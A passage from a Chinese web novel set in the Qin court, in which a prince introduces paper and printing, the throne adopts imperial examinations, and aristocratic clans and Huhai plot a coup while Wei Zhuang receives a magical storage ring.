他知道要改天换地,光靠读书人是不够的,还得拢住吏道、官府、关中根基。
他写到
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天明。
窗外鸡鸣初起,烛火已燃尽成一汪泪痕!
竹简堆叠如山。
……
三日之后。
六公子府再度派人来请。
李斯接到诏帖时,正闭目小憩。
他睁眼,披衣而起,眼中尽是风雷!!
此行非比寻常。
六公子这次,恐怕真要撼动整个天下了。
可当他信心十足的踏入六公子府时,手中的竹简差点滑落。
庭院中央,雪白的纸页在微风中轻轻翻动,宛如一片片初冬的新雪!
“这……”
他颤抖着伸出手,又怕弄脏了似的缩回,“比三日前所见更……”
“更白,更柔,更薄。”
赢子夜从廊下走来,指尖夹着一张新纸轻轻晃动。
“三日前的纸浆用的是麻,如今掺了桑皮。”
他将纸递给李斯。
“试试。”
李斯小心翼翼接过,纸张在手中发出清脆的声响。
他忍不住凑近细闻,竟有淡淡草木清香!
“看这个。”
赢子夜引他走向另一处。
几名工匠正将沾墨的木活字排列成版,往纸上轻轻一压,转眼间《诗经》的篇章便清晰呈现!
李斯瞪大眼睛。
字迹比三日前所见更为工整锐利。
“活字改用青铜铸造,一字一印,可反复使用。”
赢子夜随手拿起旁边一叠印好的纸页。
李斯喉结滚动,望着那一张张印好的纸页,心中却仿佛有惊雷炸响!
他颤声低喃:“公子竟在短短三日之内,便将此技艺…打磨得如此成熟?”
他几步走上前去,细看那一枚枚铜字、一张张新纸,神色愈发震动!!
“纸张之改,活字之铸,印法之整,误差之控……”
他喃喃念着,眼中难掩敬惧,语气中多了几分骇然!!
“此非凡工巧之能,更似十年积思,百人之功!!!”
赢子夜却只是轻轻掸去袖口沾的纸屑。
“其实,氏族垄断典籍数百年的,靠的不就是书写成本的昂贵?”
他忽然冷笑。
“等这白纸铺满大秦,我倒要看看,他们还能拿什么拦着百姓读书!”
李斯手中的纸页突然变得滚烫!!
他仿佛看到千万寒门学子捧着这样的书卷,看到氏族高墙在纸页翻动间轰然倒塌。
“下官……”
李斯深深拜下,声音发颤。
“愿为公子效死力!!!”
赢子夜望向庭院外渐暗的天色,唇角微扬。
远处,第一批新印的《论语》正被装入木箱,即将秘密送往各郡县,等待启封的时机。
而在更深的阴影里,少司命指尖的纸页无风自燃。
化作一只紫***翩然消散……
第82章 儿臣欲献纸,设科举制!
拂晓。
渭水之东,紫光穿云。
麒麟殿前,寒气未散。
殿门大开,钟鼓齐鸣。
百官鱼贯入朝,玉佩铿然。
然而今日,不同以往。
六公子府连日来风声鹤唳,朝中早已传遍“赢子夜私造文字,私撰科令,私编士子”的密言谣语。
毕竟,紧盯着赢子夜的人,实在太多。
消息外传并不意外。
而氏族中人则趋前贴耳低语,议论声如蚁啃铜钟,低沉却密集。
满是“忤逆”“谋大不轨”的字眼。
陇西孟氏的家主最为高调,一袭黑袍,满面肃杀。
卫、尉等家也纷纷随声附和,或使眼色,或召旧党,不动声色间,宛若网已成阵,锋芒直指一人。
便在这风雨欲来之际……
殿门之外,一道青袍人影缓步而至。
那是赢子夜!
他独行玉阶,未带天子剑,亦无随从。
手中却抱着一摞雪白册页,步履从容,眼神清明。
日光洒在他肩头,烘得那一袭袍角如墨泼金边,灼灼生辉!
“来了。”
氏族席间,有人握紧了袖中拳头,有人已暗遣心腹随时参奏攻讦。
然而赢子夜仿佛未觉万钧压力,踏入麒麟殿时,甚至轻轻一笑。
“奏对。”
宣官唱声刚起,他已缓步上前,衣袍无声,抱中书册轻轻一转。
那是击碎沉寂的雪白!!!
百官伸颈张望,只见那书册轻薄如羽,在殿中烛火映照下竟泛着玉石般的光泽。
“父皇,儿臣有宝物献上。”
始皇帝面露好奇之色,接过书册,玄色龙袖拂过纸页时发出细微的沙沙声。
刹那,冕旒下的那双眸,骤然收缩!
这触感竟比丝绸更柔滑!!
随手翻开,墨香扑面,《商君书》的字迹清晰如刀刻。
“彩!!!”
始皇帝突然拍案,声震殿宇。
“传阅百官!”
当书册传到冯去疾手中时,这位老臣的手指都在发抖:
“这……这比竹简轻便百倍!”
他颤巍巍地抚过纸面。
“老臣眼花,这般小字竟也看得真切……”
淳于越接过时险些失手,儒冠下的眼睛瞪得滚圆:
“《论语》全篇……这一册就能囊括?”
他猛地抬头看向赢子夜,素来倨傲的脸上首次露出骇然!!
扶苏则捧着一本《诗经》怔怔出神,指尖无意识摩挲着纸缘。
忽然!
一片薄如蝉翼的纸页飘落。
他俯身去拾,却发现那纸上竟还印着细密注解——
这在竹简时代根本不可想象!!!
“六弟……”
扶苏喃喃自语,却见赢子夜正似笑非笑地望向氏族席位。
陇西孟氏家主的脸色已经铁青。
他死死盯着手中《韩非子》,突然意识到这雪白纸页比刀剑更可怕!
若这等技艺流传开来,世家垄断典籍的优势将荡然无存!!
“陛下!”
紧接着,李斯就像提前商量好一般,突然出列高呼。
“此物当广传天下,使我大秦文教昌明!”
始皇帝大笑,目光却扫过面色惨白的氏族众人:
“子夜,此物何名?”
“回父皇,此乃‘纸’。”
赢子夜拱手,嘴角噙着若有若无的冷笑。
“儿臣已命工匠日夜赶制,不日便可……”
“轰隆!”
殿外突然惊雷炸响,震得梁柱微颤!
氏族席位上,数个酒樽同时翻倒,琼浆在案几上蜿蜒如血。
陇西孟氏家主放下手中《韩非子》,那纸张仿佛万钧。
他缓缓转头,看向朝下那个仍在拱手而立的年轻人。
赢子夜站在群臣中央,仿佛与满殿光火风雷无关,只低眉微笑,如沐春风。
那笑意却像钉子,冷冷钉入他心头。
“此子心机之深…非但要断我等藏书之利,恐还将矛头指向天下学权。”
他终于意识到:
今日这“献宝”不过是一枚石子。
真正的巨浪,尚在后头。
……
就在这时。
赢子夜不经意的看了眼群臣首侧的李斯。
李斯立马会意,缓步出列,手中竹简展开时发出清脆的声响。
殿内霎时安静,只听得纸页翻动的沙沙声。
“臣请奏,设科举取士!”
李斯的声音在殿内回荡。
“凡我大秦子民,不论出身,皆可应试。”
“咔嚓”一声,陇西孟氏家主的玉笏板生生折断。
他额角青筋暴起,却不敢在始皇帝面前发作。
“县试、郡试、殿试三级。”
李斯继续道,每说一句,氏族的脸色就难看一分!
“以《秦律》《商君书》为基,兼考算术、策论……”
“荒谬!”
卫氏族长终
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于按捺不住,猛地站起。
“寒门贱子也配与世家同列?”
始皇帝一个眼神,卫氏族长立刻噤声跪倒。
李斯却不紧不慢继续道:“取中者,按品授官。三年一试,优胜劣汰。”
孟氏族主突然剧烈咳嗽起来,手中绢帕染上猩红!
他死死盯着那摞雪白的考卷样本,仿佛看到家族百年基业正在崩塌——
若真让寒门子弟通过科举入仕,谁还会巴结他们这些世家?!
“陛下!”
尉氏族长跪行出列,声音发颤。
“此制……此制恐动摇国本啊!”
赢子夜忽然轻笑出声:“尉大人是怕动摇你家根本吧?”
他随手翻开一页考卷。
“还是说……尉氏子弟连与农夫之子同场较艺的勇气都没有?”
这句话像刀子般扎进氏族心口。
尉氏族长双眼赤红,指甲深深掐进掌心!!!
他们仿佛已经看到,将来会有多少寒门士子捧着这些轻便的书册,一步步蚕食世家特权。
空气骤然凝固。
孟邺猛地踏前一步,手中玉笏“啪”地砸在地上,碎成几段。
“陛下!”
他声音嘶哑如砂纸摩擦。
“周礼有云,尊卑有序!若让贩夫走卒与世家同列,岂不乱了祖宗法度?!”
尉林紧接着出列,衣袍呼呼作响。
“老臣长子曾战死函谷关,次子残于邯郸城!”
“如今陛下要废军功**,岂不让将士们寒心?!”
说着竟老泪纵横,扑通跪地!!
南阳赵氏的族长更是一把扯开衣襟,露出胸前狰狞箭伤。
“臣这一箭是为大秦挨的!难道子孙连个荫庇都讨不得?!”
殿中哗然。
赢子夜冷眼旁观,注意到淳于越等儒臣竟反常地沉默。
这些平日最重礼法的老顽固,此刻却眼观鼻鼻观心。
“儿臣以为……”
扶苏突然出声,温润的嗓音如清泉流过。
“科举取士,正合圣人‘有教无类’之训。”
他看向氏族众人的眼神带着怜悯。
“寒门亦有英才……”
“长公子!”
卫氏族长卫铮厉声打断!
“您可知边关将士为何效死?就为子孙能得个出身!若连这点想头都断了……”
他猛地抽出腰间佩剑,剑尖抵住自己咽喉。
“老臣今日便血溅麒麟殿!!!”
第83章 老臣王翦,请辞!
“铮——”
一道寒光闪过,卫铮的剑突然断成两截。
赢子夜缓缓收剑入鞘,玄色长袍无风自动。
“卫大人好大的威风。”
他环视众氏族,突然轻笑。
“谁说废军功了?”
殿内骤然一静!
“废的是**,不是军功。”
赢子夜一字一顿。
“有功者赏,有才者用。”
“卫大人之子若真有本事,大可凭军功挣个万户侯,何必死抱着祖上那点余荫?!”
李斯适时补刀!
“正是!商君变法时便说过,**制乃**之兆!”
孟邺突然浑身发抖,指着那摞雪白考卷。
“那这些…这些纸……”
“哦?”
赢子夜挑眉。
“孟大人是怕寒门学子读不起书?”
他忽然击掌,侍从立刻抬进十口大箱。
“即日起,各郡县学宫免费发放纸书,对了……”
他看向面如死灰的氏族们,笑得人畜无害。
“第一批印的正是《商君书》和《韩非子》。”
孟邺闻言,踉跄后退,撞翻了铜鹤灯台!
火油泼洒在地,映照出氏族们扭曲的面容。
他们仿佛看见,百年世家正在这熊熊火光中,一点点化为灰烬……
而就在殿内剑拔**张之际。
王贲突然大步出列,铁甲铿锵作响。
他双手捧着一卷素帛,声如洪钟:
“臣代家父上奏!”
满朝文武顿时屏息!
赢子夜余光瞥见父皇嘴角几不可察地扬了扬,心中顿时了然。
“老将军有何奏请?”
始皇帝声音里带着罕见的温和。
王贲深吸一口气。
“家父年迈多病,恳请陛下准其卸甲归田。”
说着展开素帛。
“这是家父亲笔。”
满朝哗然!!!
陇西孟邺一个踉跄,险些栽倒。
王氏乃军功世家之首,王翦更是灭楚平燕的第一功臣。
如今连他都自请卸甲,氏族们还拿什么阻拦科举?
“老将军劳苦功高。”
始皇帝叹息一声,竟亲自步下龙阶接过奏疏。
“准奏。赐骊山别业,加食邑千户。”
赢子夜注意到南阳赵氏家主赵璋的手指已经掐进掌心,鲜血顺着玉笏滴落。
这位也曾随王翦征战的老将,此刻面色灰败如**。
“陛下!”
三川尉林突然嘶吼。
“王氏世代将门,岂能……”
“尉老。”
王贲转身打断,虎目含威。
“家父常说,大秦锐士当以战功论英雄。”
他故意顿了顿。
“而非……祖上余荫。”
这句话像一记耳光抽在氏族脸上!!
卫铮突然剧烈咳嗽起来,咳着咳着竟呕出一口鲜血。
他忽然明白,这场博弈…从始至终都在那位帝王掌控中。
连灭国功臣都自愿放弃**特权,他们这些世家还有什么资格反对?
“诸卿还有异议?”
始皇帝扫视众臣,指尖摩挲着王翦的奏疏。
殿内…死一般寂静。
只有淳于越等儒臣低头盯着新发的纸书,仿佛突然对上面的墨字产生了浓厚兴趣。
“既如此。”
始皇帝突然提高声调。
“即日颁诏天下,推行科举!各郡县设学宫,明年开春首试!!!”
他起身时,十二冕旒剧烈晃动。
“科举与军功并行。有本事的——”
目光如电扫过众氏族,“自己来取。”
“陛下圣明!!!”
李斯率先跪拜。
文武百官如梦初醒,纷纷跟着山呼。
只有氏族众人跪得迟缓。
孟邺的膝盖砸在地上时,发出沉闷的响声。
赢子夜望向殿外。
朝阳穿透云层,将新制的纸书照得透亮。
他仿佛看见无数寒门学子捧着这些轻薄的纸页,正一步步踏上曾经被氏族垄断的青云路!
而在阴影处,赵璋盯着自己染血的玉笏,突然发出一声野兽般的低吼。
这声呜咽很快淹没在退朝的钟声里,如同百年世家最后的悲鸣!
……
十八公子府内。
胡亥斜倚在软榻上,指尖把玩着一枚青铜蜘蛛。
窗外斜阳将他的影子拉得老长,映在墙上如一只蛰伏的毒蝎。
“有意思……”
他突然轻笑出声,手中蜘蛛“咔”地裂成两半。
赵高无声地出现在阴影处,苍白的脸上带着谄媚:
“公子今日心情甚好?”
“六哥这一手,当真漂亮。”
胡亥将碎蜘蛛抛向半空,又稳稳接住。
“科举制?呵……”
他眯起眼。
“这是要掘了氏族的祖坟啊。”
赵高袖中滑出一卷竹简:
“陇西孟氏、南阳赵氏等十二家,已秘密聚议三次。”
他压低声音。
“他们打算……”
“刺杀、谋反?”
胡亥突然大笑,笑声甜腻得令人毛骨悚然。
“就凭那群老废物?”
窗外,忽然惊雷炸响!
胡亥跳下软榻,赤足踩过冰凉的地砖:
“单靠他们,怕是连六哥的衣角都摸不到。”
赵高会意,从怀中取出一枚虎符:
“三千精锐已备妥,都是按公子要求,用那些‘消失’的军械武装的。”
胡亥接过虎符,指尖在“锐士营”三个字上摩挲:
“让卫铮的幼弟卫琮带队。”
他歪着头,露出天真无邪的笑容。
“毕竟他兄长刚在朝堂上吐了血,多好的报仇机会啊。”
赵高突然压低声音:
“公子,若事败……”
“败?”
胡亥甜腻的嗓音陡然转冷。
“那就让卫琮变成**。”
“他卫氏全族都没了,不差他一个。”
他忽然凑近赵高。
“毕竟**,是最听话的。”
一道闪电劈落,照亮了胡亥袖中滑出的瓷瓶。
和孟琰牢中所服一模一样的“鸠羽之毒”。
“对了。”
胡亥转身时,瓷瓶消失不见。
“让人留意陇西,孟邺那个老狐狸,说不定会留后手。”
赵高躬身退下时,瞥见胡亥正对着铜镜练习表情。
镜中的少年一会儿天真烂漫,一会儿阴鸷狰狞,最后定格成一个令人毛骨悚然的甜美笑容。
“六哥啊六哥……”
胡亥对着虚空轻语。
“你以为赢了朝堂,却不知这棋盘……”
他忽然将虎符砸向铜镜,镜面“咔嚓”裂开。
“早就被我掀了!”
暴雨倾盆而下。
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……
孟氏。
密室内,青铜灯盏的火光剧烈摇晃,映照出几张扭曲的面容。
孟邺一拳砸在案几上,震得酒樽倾倒,浑浊的酒液浸透了竹简上“科举制”三个刺目的大字。
“这是要绝我们的根啊!”
孟邺的声音嘶哑如砂纸摩擦,花白的胡须不住颤抖。
卫铮死死攥着一块玉佩——
那是他儿子卫桀的遗物,他专程派人去陇西找到的。
玉佩边缘已经深深嵌入掌心,鲜血顺着指缝滴落:
“我儿…我儿定是早料到有今日……”
“现在说这些有何用!”
南阳赵璋猛地掀翻案几,额头青筋暴起,
“科举诏书已下,难道真要眼睁睁看着那些贱民骑到我们头上?”
密室内陷入死寂。
尉林突然冷笑:
“尔等想逼宫?就凭我们在咸阳这点人手?”
“咯吱”一声,密室暗门突然开启。
卫琮披着黑色斗篷悄然现身,斗篷下隐隐露出铁甲寒光。
“二弟?”
卫铮愕然起身,
“你不是在蓝田大营……”
卫琮解下斗篷,露出一身精良铠甲——
这分明不是秦军制式。
他单膝跪地,声音低沉如闷雷:
“兄长,侄儿临终前,曾交予我三千精锐。”
“什么?!”
孟邺手中的玉杯啪地碎裂。
“自去年起,桀儿便暗中用那批军械武装死士。”
卫琮从怀中取出一卷帛书,上面详细记录着各营分布,
“如今都藏在骊山废矿中。”
赵璋一把抢过帛书,手指剧烈颤抖:
“好……好!不愧是卫氏麒麟儿!”
他突然狂笑起来,
“天不亡我世家!”
孟邺却面色阴沉:
“三千人……攻咸阳还远远不够。”
“自然不能硬攻。”
卫琮眼中闪过一丝诡谲,
“第一步,换掉咸阳城防。”
他指向帛图上几处红点,
“中尉杨樛是家父旧部,可让他‘病休’,由我们的人接任。”
尉林捻须沉吟:
“宫门值守卫尉周勃刚调任,正好安排赵氏门客顶缺。”
“慢着。”
孟邺突然抬手,老眼中精光闪烁,
“此事需得徐徐图之。先让各郡子弟以探亲为由陆续入都,分散安置在别院中。”
卫铮擦去掌心血迹,露出狰狞笑容:
“等科举开考那日,万千学子齐聚咸阳……”
他做了个抹脖子的手势,
“正好一网打尽!!!”
卫琮忽然压低声音:
“还有一事。那批军械中,有二十架公输家特制的**车……”
“好!”
赵璋拍案而起,
“就用赢子夜造的利器,送他们父子归西!”
密室外突然雷声大作!
孟邺走到窗前,望着被闪电照亮的咸阳宫轮廓,苍老的面容在明灭间显得格外可怖:
“六公子…你既掘我世家根基……”
他猛地合上窗棂,
“就别怪我们刨你赢氏祖坟!!!”
卫琮悄然退到阴影处,指尖摩挲着袖中一枚蜘蛛令牌。
那是今早赵高秘密交给他的信物。
有十八公子和中车府令作为靠山,这次起事,必定能成!!
第84章 卫庄:这难道是仙人的手段吗?!
六公子府。
赢子夜站在庭院中,指尖轻抚着刚印好的一沓《商君书》。
纸页雪白,墨香清冽,在月光下泛着冷光。
“传令,将造纸、印刷之术悉数移交少府。”
他头也不回地吩咐,
“再调一队暗河夜枭盯死氏族府邸。”
“诺!”
阴影中的暗卫领命退下。
夜风骤起,一片落叶飘到赢子夜肩头。
他眸光微动,却未抬手拂去。
“既然来了,何必藏头露尾?”
屋檐上传来一声轻笑。
卫庄白发如雪,鲨齿剑在月下泛着寒芒,缓步从阴影中走出。
他猩红的瞳孔紧盯着赢子夜,像一头盯上猎物的狼。
“六公子好手段。”
卫庄声音低沉,
“科举一出,天下氏族怕是寝食难安。”
赢子夜转身,玄色长袍扫过满地纸屑:
“卫先生深夜造访,总不会是为了夸赞本公子吧?”
卫庄眼中闪过一丝锐利:
“我需要力量。”
简短五个字,却带着不容拒绝的决绝。
赢子夜嘴角微扬,突然从袖中抛出一物。
卫庄抬手接住——
是枚古朴的青铜戒指,戒面刻着晦涩的符文!
“储物戒,内有空间,滴血认主。”
赢子夜语气平淡,这枚储物戒是半个月前从每日秒杀系统获得的。
当时连着七天,每天都会莫名出现一枚功能各异的戒指。
最珍贵的当属那枚能抵挡三次致命攻击的玄龟戒,此刻正戴在赵弋苍手上。
而给卫庄的,不过是其中最普通的青铜款。
不过系统说明显示,此戒可释放三次“赤焰毒”,倒是适合卫庄这样的人用。
此刻,卫庄盯着掌中那枚古朴的青铜戒指,眉头紧锁。
戒面上晦涩的符文在月光下泛着奇异的光泽,指尖触碰时竟传来微微的灼热感。
“储物戒?”
他低沉的声音里带着明显的怀疑。
“世间何来此等器物?”
赢子夜负手而立,嘴角噙着若有若无的笑意:
“卫先生一试便知。”
卫庄猩红的瞳孔微微收缩。
他从未见过如此古怪的东西,但体内流淌的鬼谷血脉却在隐隐躁动,似乎在催促他接受这份馈赠。
“滴血认主?”
他冷笑着重复赢子夜的话,鲨齿剑却已出鞘半寸。
“若是毒物……”
“若是毒物,”赢子夜打断他,“卫先生此刻早已是一具尸体。”
寒光一闪,卫庄的指尖渗出殷红血珠!
就在血滴触及戒面的刹那,异变陡生——
“嗡!”
青铜戒指突然迸发出刺目幽光,戒面上的符文如同活物般游动起来。
卫庄只觉得一股奇异的力量顺着手臂直冲脑海,在他意识深处开辟出一片虚无的空间。
“这是……?!”
向来冷静的卫庄竟失声惊呼。
他清晰地“看”到一个十立方大小的灰蒙空间,随着意念转动,那片空间竟在识海中缓缓旋转。
赢子夜随手抛来一卷竹简:
“想着将它收进去。”
卫庄下意识地心念一动。
只见竹简在接触戒指的瞬间,竟凭空消失!
他急忙内视储物空间,那卷竹简正静静悬浮其中。
“再想着取出来。”
赢子夜的声音仿佛从很远的地方传来。
卫庄呼吸微乱,再次催动意念。
竹简又凭空出现在他掌心,连捆扎的丝绳都分毫未动。
“仙人手段……”
素来桀骜的卫庄此刻声音竟有些发颤。
他反复将竹简收入取出,每次戒指泛起幽光时,都能感受到那股玄妙的空间波动。
赢子夜饶有兴趣地欣赏着这位纵横传人罕见的失态。
只见卫庄突然将鲨齿剑贴近戒指,三尺青锋竟也瞬间没入戒中!
“不可思议……”
卫庄喃喃自语,素来冷酷的面容浮现出震撼之色。
他猛地抬头,猩红瞳孔中燃烧着炽热的渴望:
“这戒指从何而来?”
“偶然所得。”
赢子夜轻描淡写地带过。
“不过要提醒卫先生,这戒指能释放一种赤焰毒,只能用三次。”
卫庄摩挲着戒面,突然冷笑:
“六公子随手就能拿出此等神物……”
他意味深长地看了眼赢子夜指间,那若隐若现的其他戒指。
“看来流沙还是小瞧了公子。”
说着,他将意识再次沉入储物戒中。
虽然这戒指已足够让他吃惊,但其实空间里,还悬浮着数件散发着恐怖气息的物件!
这才是他
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最感兴趣的。
只见一柄通体暗红的长剑静静漂浮在中央。
剑身缠绕着比鲨齿更为浓烈的血煞之气,仅仅是意识稍一触碰,耳边便响起万千冤魂的凄厉哀嚎。
剑柄处刻着两个古老的篆字:“戮魂”。
旁边是一卷漆黑的竹简,表面浮动着血色纹路。
卫庄的意念刚触及,竹简便自动展开,露出里面记载的**。
《血狱魔罗诀》!
开篇赫然写着:“以杀证道,战意越盛,战力倍增!”
更令他震惊的是,角落里还堆放着数个玉瓶。
瓶身上分别标注着“淬骨丹”“燃血散”等字样。
其中一瓶“玄阴丹”旁还附着绢布说明:“助赤练王蛇蜕变,可化蛟形。”
最不起眼的位置,静静躺着一枚漆黑的玉佩。
上面刻着“御影”二字。
卫庄立刻明白这是给墨玉麒麟的——
那小子若是知道能获得御物暗杀之术,怕是要兴奋得睡不着觉。
“如何?”
赢子夜的声音将他的意识拉回现实。
卫庄缓缓睁眼,素来冷酷的面容罕见地浮现一丝波动。
他握紧鲨齿剑的指节微微发白,沉声道:“六公子想要什么?”
赢子夜负手而立,月光将他的影子拉得很长:
“去小圣贤庄,盯住儒家。”
卫庄眉头一皱:“儒家?他们不过是一群读书人。”
“读书人?”
赢子夜轻笑:
“伏念的圣王剑法,颜路的坐忘心法,张良的凌虚飞渡…哪个是省油的灯?”
卫庄眼中闪过一丝锐利:“公子是担心他们与氏族勾结?”
赢子夜没有直接回答,而是意味深长道:
“科举在即,儒家却安静得反常。”
他转身走向内室:
“我要知道,他们在谋划什么。”
夜风卷起满地落叶。
卫庄站在原地,感受着储物戒中传来的力量波动。
片刻后,他冷笑一声:
“这笔买卖,流沙接了。”
话音未落,白衣身影已如鬼魅般消散在夜色中。
赢子夜站在窗前,指尖摩挲着另一枚储物戒,轻声道:
“儒家、氏族、罗网……”
他望着远处隐约可见的咸阳宫轮廓:
“这盘棋,越来越有趣了。”
第85章 科举制推行,天下震动!
咸阳城的清晨被一阵急促的铜锣声惊醒。
差役们手持黄榜,在各大坊市张贴告示。
识字的老儒生颤巍巍地念出“科举取士”四个大字时,围观的百姓瞬间炸开了锅。
“不论出身?”
一个粗布麻衣的农夫猛地抓住身旁儿子的肩膀。
“狗娃,你听见没!你也能考功名了!”
卖炊饼的王老汉手中木勺“咣当”掉在地上。
他浑浊的老眼死死盯着告示旁堆放的雪白纸书——
那上面印着的《千字文》,正是他做梦都想让孙子学会的东西。
“老天开眼啊!”
东市铁匠突然嚎啕大哭。
他布满老茧的手抚过告示上“寒门亦可应试”的字样,想起自己那个因偷学文字被氏族打断腿的弟弟。
几个穿儒衫的学子站在告示前脸色铁青。
其中一人突然撕碎手中书卷!
“岂有此理!难道要让泥腿子和我们同场较艺?”
“啪!”
一坨烂菜叶精准糊在他脸上。
卖菜妇人叉腰怒骂。
“我儿背《论语》时,你个龟孙还在吃奶呢!”
那卖菜妇人话音未落,围观的百姓顿时哄笑起来。
一个挑着柴火的樵夫高声喊道:“说得好!俺家小子天天蹲在学堂窗外偷听,如今总算能正大光明进去念书了!”
街角卖肉的屠夫把剁骨刀往案板上一插,油乎乎的大手在围裙上擦了擦。
“**!老子杀猪二十年,攒下的银子终于能送崽子去考功名了!”
几个衣衫褴褛的孩童挤到告示前。
脏兮兮的小手小心翼翼地摸着那雪白的纸书。
其中一个孩子突然转头喊道:“爹!这字儿比王财主家墙上挂的还清楚哩!”
人群外围,一个白发苍苍的老塾师颤巍巍地捧着刚领到的《千字文》,老泪纵横!
“苍天有眼啊…老朽教了一辈子书,总算等到这天…”
突然,一队官兵押着几辆满载书籍的马车经过。
领头的军官高声宣布:“奉六公子令,各坊市设立书摊,纸书一律按成本价发售!”
“感谢六公子!”
不知是谁先喊了一嗓子,整条街瞬间沸腾。
卖炊饼的王老汉突然把刚出锅的炊饼全部分给路人:“今天老汉请客!就当给六公子报恩!”
而在街对面的茶楼上,几个穿着华服的世家子弟阴沉着脸。
其中一人狠狠摔碎茶盏:“反了!都反了!这些贱民…”
“嘘!”
同伴急忙捂住他的嘴,指着窗外,“小声点,就怕隔墙有耳啊。”
与此同时。
咸阳城南的贫民窟里,一个瘦弱的少年正借着日光,如饥似渴地阅读着刚用三枚铜钱买来的《论语》。
他的母亲在一旁缝补衣物,时不时用袖子擦擦眼泪。
“儿啊,好好读…咱家就指望你了…”
更远处,骊山脚下的村落中,里正敲着铜锣挨家挨户通知!
“都听好了!六公子令,各村选聪慧孩童两名,由官府供纸笔上学!”
这一日,咸阳城内外,无数寒门百姓家的灯火亮到天明!
而在那些高门大院里,氏族老爷们摔碎的瓷器和怒骂声,都被淹没在百姓的欢庆声中。
……
桑海之滨。
小圣贤庄的书斋内,一卷来自咸阳的纸书在三人手中传递。
伏念修长的手指轻轻抚过纸面,向来沉稳的面容罕见地浮现一丝波动。
“这纸……”
他指尖微微用力,纸页竟未破损。
“比竹简轻薄十倍,承载的文字却多出百倍。”
颜路接过纸书时,坐忘心法竟有一瞬的凝滞!
他凝视着纸上清晰如刻的《论语》字迹,轻声道:
“墨家机关术也做不到如此精妙。”
张良斜倚窗边,阳光透过他手中的纸页,映出上面细密的《商君书》条文。
他忽然轻笑:
“两位师兄可曾算过,这一册纸书的成本?”
伏念与颜路对视一眼,同时变色。
他们太清楚这意味着什么——
当知识不再是世家垄断的珍宝,天下格局必将天翻地覆!!
“科举制……”
伏念突然起身,腰间圣王剑发出不安的嗡鸣。
“这位六公子是要掘断千年世家的根基。”
海风穿堂而过,吹动案几上另一份密报。
颜路按住飘飞的纸页,上面详细记录着咸阳氏族近日的异动:
“更可怕的是,他同时激怒了所有世家。”
“轰隆!”
远处惊雷炸响,暴雨骤然而至。
张良望着被雨幕模糊的海面,忽然道:
“你们说……他为何先送儒家纸书?”
书斋瞬间寂静。
三人目光不约而同落在墙角那堆新到的书箱上——
《论语》《孟子》《荀子》。
全是儒家经典。
伏念突然按住太阳穴:
“他在逼我们站队。”
雨声中,张良把玩着腰间玉佩,眼神渐冷:
“或者……是在警告。”
他指向密报末尾一行小字:
近日有流沙刺客出没桑海。
颜路轻轻合上《论语》,纸页相触的沙沙声此刻听来格外刺耳:
“这位六公子……比我们想象的更危险。”
暴雨冲刷着“小圣贤庄”的匾额,多日尘气,转眼就被冲进幽深的海里。
……
与此同时。
六公子府。
赢子夜立于书房窗前,指尖捻着一片飘落的梧桐叶。
公孙墨玄无声跪伏在阴影处,手中密报在烛火映照下泛着幽光。
“念。”
“诺。”
公孙墨玄展开第一份绢书。
“民间反应激烈。”
“邯郸城有老儒当街痛哭,散尽家财购纸赠学子。”
“临淄郡童谣传唱‘六公子造纸,寒门登青云’。”
“楚地甚至有农户焚香祭祖,言称赢姓当兴!”
赢子夜嘴角微扬,叶片在指间翻转:
“继续。”
“诸子百家震动。”
公孙墨玄声音压低,“名家公
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孙龙派弟子携《白马论》入咸阳!”
“数术家陈郢愿献《秘算》全本。”
“就连一向清高的方技家,都献上了炼丹秘方……”
“砰!”
梧桐叶突然被捏碎。
赢子夜转身时眼中寒芒乍现:
“第二份。”
公孙墨玄喉结滚动,展开另一卷染血的密报:
“三日前,中尉杨樛‘突发恶疾’,接任者是赵氏门客。”
“宫门值守卫尉周勃调任之后,新官乃孟氏姻亲。”
“更有七名郡守近日频繁更换亲卫……”
“好一招偷天换日。”
赢子夜突然冷笑,从案几暗格取出一方棋盘。
黑子已悄然包围半壁江山,而白子看似散落,实则暗藏杀机。
公孙墨玄额头沁汗:
“属下已命暗河‘夜枭’十二人盯死这些新官。其中三人……”
他做了个抹喉的动作。
赢子夜执起一枚白子,轻轻落在棋盘天元:
“让他们换。”
棋子敲击的脆响在静夜中格外刺耳。
“正好看看,哪些蛀虫急着往网里钻。”
窗外忽然雷声大作。
赢子夜踱至窗下,暴雨打湿了他的玄色衣袍:
“传令章邯,骊山大营即日起‘修缮兵器’,所有士卒不得擅离。”
一道闪电劈落,照亮赢子夜唇边冰冷的笑意。
公孙墨玄这才发现,棋盘上的白子不知何时已连成一条大龙,正对着黑子的咽喉处虎视眈眈。
紧接着。
萧何疾步踏入书房,衣袍下摆还沾着夜露。
他怀中抱着的案卷堆得老高,最上面几卷已经泛黄起皱,显然被反复翻阅过多次。
“殿下!”
萧何的声音带着压抑的激动,
“查到了!”
赢子夜缓缓坐下,擦拭案几边放着的天子剑,剑锋映出他微眯的双眸:
“说。”
“自孝公年间起,关中二十六桩大案皆有氏族插手。”
萧何快速展开最上面一卷,
“陇西孟氏强占矿脉,南阳赵氏私铸钱币,三川尉氏——”
“够了。”
赢子夜突然归剑入鞘,金属摩擦声刺得萧何耳膜生疼,
“既然查实,全部拿下。”
萧何正要领命,却见赢子夜从袖中取出一封火漆密信:
“把这个交给蒙恬。”
密信入手沉甸甸的,萧何摸出里面似有硬物。
他刚要询问,赢子夜已经背过身去:
“记住,出了这个门,你仍是‘病愈复职’的萧御史。”
窗外一道闪电劈过,照亮赢子夜半边侧脸。
萧何突然明白了什么,将密信贴身藏好:
“臣……这就去。”
赢子夜指尖轻叩案几,节奏与远处雷声诡异地重合:
“萧何。”
已经走到门口的萧何顿住脚步。
“你儿子今年六岁了吧?”
赢子夜的声音轻得像在闲聊,
“该开蒙了。”
萧何背影一僵,随即深深拜下:“臣……谢殿下恩赐。”
第86章 大秦!已到了刮骨疗毒的地步!
雨幕中,萧何的马车悄然驶向蒙恬大营。
他怀中密信里,一枚虎符正隔着布料发烫——
那是调动蓝田大营的凭证!
而在更深的夹层中,还藏着一份名单,上面密密麻麻记录着所有被氏族安插的将领姓名。
赢子夜站在檐下,雨水顺着屋檐滴落。
少司命不知何时出现在廊柱阴影处,指尖的金粉在雨水中化作一条细线,直指北方——
那是蒙恬大军驻扎的方向。
……
半柱香后。
蒙恬大营内,烛火摇曳。
萧何衣袍尽湿,却顾不上擦拭,双手将密信呈上。
蒙恬接过,火漆印章上清晰的“六”字让他眉头微挑。
“萧大人病愈了?”蒙恬一边拆信一边问道。
“托将军洪福。”
萧何声音平静,眼底却藏着锋芒。
